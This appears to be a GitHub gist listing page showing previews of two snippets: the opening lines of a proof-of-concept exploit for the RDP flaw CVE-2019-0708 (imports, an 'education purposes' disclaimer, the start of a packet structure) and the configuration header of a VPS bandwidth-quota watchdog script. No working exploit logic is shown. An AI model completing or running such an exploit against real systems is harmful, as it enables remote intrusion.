Skip to content

Instantly share code, notes, and snippets.

@twursc
twursc / cve-2019-0708-poc.py
Created June 9, 2021 01:41
cve-2019-0708-poc.py
import socket, sys, struct
from OpenSSL import SSL
from impacket.structure import Structure
# I'm not responsible for what you use this to accomplish and should only be used for education purposes
# Could clean these up since I don't even use them
class TPKT(Structure):
commonHdr = (
('Version','B=3'),
@twursc
twursc / quotalimit_ctrl.sh
Last active April 23, 2021 03:06
VPS Quota Watchdog
#!/bin/sh
# Configuration
FU_NODE_NAME=node # Node name?
FU_USING_NIC=ens3 # Interface name?
FU_RESET_DAY=29 # Quota resets on?
FU_PURCHASED=95 # Quota purchased?
FU_DIRECTION=tx # Accounting directions [both/tx/rx] ?
# #############